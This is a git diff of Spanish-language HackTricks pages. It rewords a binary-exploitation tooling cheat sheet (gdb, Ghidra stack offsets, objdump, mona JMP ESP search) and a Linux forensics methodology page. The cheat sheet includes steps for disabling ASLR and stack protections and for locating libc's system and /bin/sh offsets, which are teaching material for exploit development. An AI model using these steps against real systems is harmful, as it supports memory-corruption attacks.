-Cuando tienes un **binario enlazado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, solicitar la entrada del usuario**.\
-Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te solicite la entrada. Luego, detenlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas:
+Cuando tienes un **binario vinculado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, pedir entrada del usuario.**\
+Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te pida entrada. Luego, deténlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@@ -148,16 +149,16 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
-### Servidor GDB
+### GDB server
-`gdbserver --multi 0.0.0.0:23947` (en IDA debes completar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows)
+`gdbserver --multi 0.0.0.0:23947` (en IDA tienes que llenar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows)
## Ghidra
-### Encontrar el desplazamiento de la pila
+### Find stack offset
-**Ghidra** es muy útil para encontrar el **desplazamiento** para un **desbordamiento de búfer gracias a la información sobre la posición de las variables locales.**\
-Por ejemplo, en el ejemplo a continuación, un desbordamiento de búfer en `local_bc` indica que necesitas un desplazamiento de `0xbc`. Además, si `local_10` es una cookie canary, indica que para sobrescribirla desde `local_bc` hay un desplazamiento de `0xac`.\
+**Ghidra** es muy útil para encontrar el **offset** para un **buffer overflow gracias a la información sobre la posición de las variables locales.**\
+Por ejemplo, en el ejemplo a continuación, un desbordamiento de buffer en `local_bc` indica que necesitas un offset de `0xbc`. Además, si `local_10` es una cookie canaria, indica que para sobrescribirla desde `local_bc` hay un offset de `0xac`.\
_Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
![](<../../.gitbook/assets/image (616).png>)
@@ -167,7 +168,7 @@ _Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sin protecciones\
**-o** --> Salida\
**-g** --> Guardar código (GDB podrá verlo)\
-**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Para desactivar el ASLR en Linux
+**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Para desactivar el ASLR en linux
**Para compilar un shellcode:**\
**nasm -f elf assembly.asm** --> devuelve un ".o"\
@@ -175,60 +176,61 @@ _Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
## Objdump
-**-d** --> Desensamblar secciones ejecutables (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar direcciones de funciones...)\
-**-Mintel** --> Sintaxis **Intel**\
+**-d** --> **Desensamblar ejecutable** secciones (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar dirección de función...)\
+**-Mintel** --> **Sintaxis Intel**\
**-t** --> Tabla de **símbolos**\
-**-D** --> Desensamblar todo (dirección de variable estática)\
+**-D** --> **Desensamblar todo** (dirección de variable estática)\
**-s -j .dtors** --> sección dtors\
**-s -j .got** --> sección got\
\-D -s -j .plt --> sección **plt** **descompilada**\
-**-TR** --> **Relocalizaciones**\
+**-TR** --> **Reubicaciones**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" para modificar en GOT\
-**objdump -D ./exec | grep "VAR\_NAME"** --> Dirección de una variable estática (estas se almacenan en la sección DATA).
+**objdump -D ./exec | grep "VAR\_NAME"** --> Dirección o una variable estática (esas se almacenan en la sección DATA).
-## Volcados de núcleo
+## Core dumps
-1. Ejecutar `ulimit -c unlimited` antes de iniciar mi programa
-2. Ejecutar `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
+1. Ejecuta `ulimit -c unlimited` antes de iniciar mi programa
+2. Ejecuta `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\ --quiet
-## Más
+## More
-**ldd ejecutable | grep libc.so.6** --> Dirección (si hay ASLR, esto cambia cada vez)\
+**ldd executable | grep libc.so.6** --> Dirección (si ASLR, entonces esto cambia cada vez)\
**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Bucle para ver si la dirección cambia mucho\
-**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Desplazamiento de "system"\
-**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Desplazamiento de "/bin/sh"
+**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\
+**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh"
-**strace ejecutable** --> Funciones llamadas por el ejecutable\
+**strace executable** --> Funciones llamadas por el ejecutable\
**rabin2 -i ejecutable -->** Dirección de todas las funciones
-## **Depurador de Inmunidad**
+## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
-### Depuración en Linux remoto
+### Depuración en linux remoto
-Dentro de la carpeta de IDA, puedes encontrar binarios que se pueden utilizar para depurar un binario en un sistema Linux. Para hacerlo, mueve el binario _linux\_server_ o _linux\_server64_ dentro del servidor Linux y ejecútalo dentro de la carpeta que contiene el binario:
+Dentro de la carpeta IDA puedes encontrar binarios que se pueden usar para depurar un binario dentro de un linux. Para hacerlo, mueve el binario _linux\_server_ o _linux\_server64_ dentro del servidor linux y ejecútalo dentro de la carpeta que contiene el binario:
```
./linux_server64 -Ppass
```
-Luego, configura el depurador: Depurador (remoto de Linux) --> Opciones de proceso...:
+Luego, configura el depurador: Debugger (linux remote) --> Proccess options...:
![](<../../.gitbook/assets/image (101).png>)
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de GitHub.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md
index 83bae3991..fd48fb02a 100644
--- a/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,36 +1,38 @@
-# Forense de Linux
+# Linux Forensics
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy mismo:
+\
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Accede hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende a hackear AWS desde cero hasta convertirte en un héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
-## Recopilación de Información Inicial
+## Recolección Inicial de Información
### Información Básica
-En primer lugar, se recomienda tener una **USB** con **binarios y bibliotecas conocidos y buenos** (puedes simplemente obtener Ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib_ y _/lib64_), luego montar la USB y modificar las variables de entorno para utilizar esos binarios:
+Primero que nada, se recomienda tener un **USB** con **binaries y bibliotecas bien conocidas** en él (puedes simplemente obtener ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib,_ y _/lib64_), luego monta el USB y modifica las variables de entorno para usar esos binaries:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar **a extraer alguna información básica**:
+Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar a **extraer información básica**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -50,23 +52,23 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Información sospechosa
-Mientras se obtiene la información básica, se debe verificar cosas extrañas como:
+Mientras obtienes la información básica, deberías verificar cosas extrañas como:
-- Los **procesos de root** generalmente se ejecutan con PIDS bajos, por lo que si encuentras un proceso de root con un PID grande, puedes sospechar
-- Verificar **inicios de sesión registrados** de usuarios sin shell dentro de `/etc/passwd`
-- Verificar los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin shell
+* **Los procesos de root** generalmente se ejecutan con PIDS bajos, así que si encuentras un proceso de root con un PID grande, puedes sospechar.
+* Verifica los **inicios de sesión registrados** de usuarios sin un shell dentro de `/etc/passwd`.
+* Verifica los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin un shell.
### Volcado de memoria
-Para obtener la memoria del sistema en ejecución, se recomienda utilizar [**LiME**](https://github.com/504ensicsLabs/LiME).\
-Para **compilarlo**, necesitas utilizar el **mismo kernel** que está utilizando la máquina víctima.
+Para obtener la memoria del sistema en ejecución, se recomienda usar [**LiME**](https://github.com/504ensicsLabs/LiME).\
+Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima.
{% hint style="info" %}
-Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella
+Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella.
{% endhint %}
-Entonces, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\
-En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) desde github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, simplemente **copia el directorio** `/lib/modules/` a tu máquina, y luego **compila** LiME utilizando esos encabezados:
+Así que, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\
+En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) de github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, puedes simplemente **copiar el directorio** `/lib/modules/` a tu máquina, y luego **compilar** LiME usándolos:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@@ -74,21 +76,21 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiME soporta 3 **formatos**:
* Raw (cada segmento concatenado)
-* Padded (igual que raw, pero con ceros en los bits derechos)
+* Padded (igual que raw, pero con ceros en los bits de la derecha)
* Lime (formato recomendado con metadatos)
-LiME también se puede utilizar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444`
+LiME también se puede usar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444`
-### Creación de imagen de disco
+### Imagen de disco
-#### Apagar
+#### Apagado
-En primer lugar, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
-Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado "desconectar el enchufe"**. El primero permitirá que los **procesos terminen como de costumbre** y que el **sistema de archivos** se **sincronice**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desconectar el enchufe" puede implicar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá oportunidad** de hacer nada al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando `sync`** en el sistema y desconecta el enchufe.
+Primero que nada, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
+Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado de "desenchufar"**. El primero permitirá que los **procesos se terminen como de costumbre** y que el **sistema de archivos** esté **sincronizado**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede conllevar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá ninguna oportunidad** de hacer algo al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando** **`sync`** en el sistema y desenchufa.
-#### Tomar una imagen del disco
+#### Tomando una imagen del disco
-Es importante tener en cuenta que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, debes asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información.
+Es importante notar que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, necesitas asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -99,7 +101,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### Análisis previo de la imagen del disco
-Crear una imagen del disco sin más datos.
+Imágenes de una imagen de disco sin más datos.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -155,8 +157,8 @@ ThisisTheMasterSecret
\
-Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
-Obtenga acceso hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -166,12 +168,12 @@ Obtenga acceso hoy:
Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos.
-* **Sistemas basados en RedHat**: Utilice `rpm -Va` para una verificación exhaustiva.
-* **Sistemas basados en Debian**: `dpkg --verify` para verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema.
+* **Sistemas basados en RedHat**: Usa `rpm -Va` para una verificación completa.
+* **Sistemas basados en Debian**: `dpkg --verify` para una verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema.
### Detectores de Malware/Rootkit
-Lea la siguiente página para conocer herramientas que pueden ser útiles para encontrar malware:
+Lee la siguiente página para aprender sobre herramientas que pueden ser útiles para encontrar malware:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@@ -179,12 +181,12 @@ Lea la siguiente página para conocer herramientas que pueden ser útiles para e
## Buscar programas instalados
-Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considere aprovechar los registros y bases de datos del sistema junto con verificaciones manuales en directorios comunes.
+Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considera aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes.
-* Para Debian, inspeccione _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica.
+* Para Debian, inspecciona _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica.
* Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados.
-Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explore directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, y _**`/sbin`**_. Combine listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando su búsqueda de todos los programas instalados.
+Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explora directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, y _**`/sbin`**_. Combina listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando tu búsqueda de todos los programas instalados.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -203,14 +205,14 @@ find / -type f -executable | grep
\
-Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
-Obtenga acceso hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Recuperar Binarios en Ejecución Eliminados
+## Recuperar binarios en ejecución eliminados
-Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo
+Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@@ -234,92 +236,92 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
```
### Servicios
-Rutas donde un malware podría ser instalado como un servicio:
+Rutas donde un malware podría instalarse como un servicio:
-- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo a scripts de inicio.
-- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones antiguas de Linux.
-- **/etc/init.d/**: Utilizado en ciertas versiones de Linux como Debian para almacenar scripts de inicio.
-- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux.
-- **/etc/systemd/system**: Un directorio para scripts del sistema y del administrador de servicios.
-- **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben ser iniciados en un nivel de ejecución multiusuario.
-- **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros.
-- **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un lugar de ocultación para malware dirigido al usuario.
-- **/lib/systemd/system/**: Archivos de unidad predeterminados de todo el sistema proporcionados por paquetes instalados.
+* **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio.
+* **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones más antiguas de Linux.
+* **/etc/init.d/**: Usado en ciertas versiones de Linux como Debian para almacenar scripts de inicio.
+* Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux.
+* **/etc/systemd/system**: Un directorio para scripts del gestor de sistema y servicios.
+* **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario.
+* **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros.
+* **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un escondite para malware dirigido a usuarios.
+* **/lib/systemd/system/**: Archivos de unidad predeterminados a nivel de sistema proporcionados por paquetes instalados.
### Módulos del Kernel
Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen:
-- **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución.
-- **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos.
-- **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos.
+* **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución.
+* **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos.
+* **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos.
-### Otras Ubicaciones de Inicio Automático
+### Otras Ubicaciones de Autoinicio
-Linux emplea varios archivos para ejecutar programas automáticamente al iniciar sesión de usuario, potencialmente albergando malware:
+Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware:
-- **/etc/profile.d/**\*, **/etc/profile** y **/etc/bash.bashrc**: Ejecutados para cualquier inicio de sesión de usuario.
-- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
-- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema se han iniciado, marcando el final de la transición a un entorno multiusuario.
+* **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario.
+* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
+* **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema han comenzado, marcando el final de la transición a un entorno multiusuario.
## Examinar Registros
-Los sistemas Linux registran las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen:
+Los sistemas Linux rastrean las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen:
-- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades en todo el sistema.
-- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos.
-- Utiliza `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes.
-- **/var/log/boot.log**: Contiene mensajes de inicio del sistema.
-- **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo electrónico, útil para rastrear servicios relacionados con el correo electrónico.
-- **/var/log/kern.log**: Almacena mensajes del kernel, incluyendo errores y advertencias.
-- **/var/log/dmesg**: Contiene mensajes de controladores de dispositivos.
-- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de violaciones de seguridad.
-- **/var/log/cron**: Registra ejecuciones de trabajos cron.
-- **/var/log/daemon.log**: Rastrea actividades de servicios en segundo plano.
-- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
-- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD.
-- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL.
-- **/var/log/xferlog**: Registra transferencias de archivos FTP.
-- **/var/log/**: Siempre revisa aquí los registros inesperados.
+* **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades a nivel de sistema.
+* **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos.
+* Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes.
+* **/var/log/boot.log**: Contiene mensajes de inicio del sistema.
+* **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo, útil para rastrear servicios relacionados con el correo electrónico.
+* **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias.
+* **/var/log/dmesg**: Contiene mensajes del controlador de dispositivos.
+* **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de brechas de seguridad.
+* **/var/log/cron**: Registra ejecuciones de trabajos cron.
+* **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano.
+* **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
+* **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD.
+* **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL.
+* **/var/log/xferlog**: Registra transferencias de archivos FTP.
+* **/var/log/**: Siempre verifica si hay registros inesperados aquí.
{% hint style="info" %}
-Los registros del sistema y los subsistemas de auditoría de Linux pueden ser desactivados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos rutinariamente los eliminan. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar lagunas o entradas fuera de orden que podrían ser una indicación de eliminación o manipulación.
+Los registros del sistema Linux y los subsistemas de auditoría pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos los eliminan rutinariamente. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar brechas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación.
{% endhint %}
**Linux mantiene un historial de comandos para cada usuario**, almacenado en:
-- \~/.bash\_history
-- \~/.zsh\_history
-- \~/.zsh\_sessions/\*
-- \~/.python\_history
-- \~/.\*\_history
+* \~/.bash\_history
+* \~/.zsh\_history
+* \~/.zsh\_sessions/\*
+* \~/.python\_history
+* \~/.\*\_history
-Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuario. Revísalo en busca de inicios de sesión desconocidos o inesperados.
+Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuarios. Verifícalo en busca de inicios de sesión desconocidos o inesperados.
-Revisa archivos que pueden otorgar privilegios adicionales:
+Verifica archivos que pueden otorgar privilegios adicionales:
-- Revisa `/etc/sudoers` para privilegios de usuario no anticipados que puedan haber sido otorgados.
-- Revisa `/etc/sudoers.d/` para privilegios de usuario no anticipados que puedan haber sido otorgados.
-- Examina `/etc/groups` para identificar membresías o permisos de grupo inusuales.
-- Examina `/etc/passwd` para identificar membresías o permisos de grupo inusuales.
+* Revisa `/etc/sudoers` en busca de privilegios de usuario no anticipados que puedan haberse otorgado.
+* Revisa `/etc/sudoers.d/` en busca de privilegios de usuario no anticipados que puedan haberse otorgado.
+* Examina `/etc/groups` para identificar cualquier membresía o permisos de grupo inusuales.
+* Examina `/etc/passwd` para identificar cualquier membresía o permisos de grupo inusuales.
Algunas aplicaciones también generan sus propios registros:
-- **SSH**: Examina _\~/.ssh/authorized\_keys_ y _\~/.ssh/known\_hosts_ para conexiones remotas no autorizadas.
-- **Escritorio Gnome**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones Gnome.
-- **Firefox/Chrome**: Verifica el historial y descargas del navegador en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas.
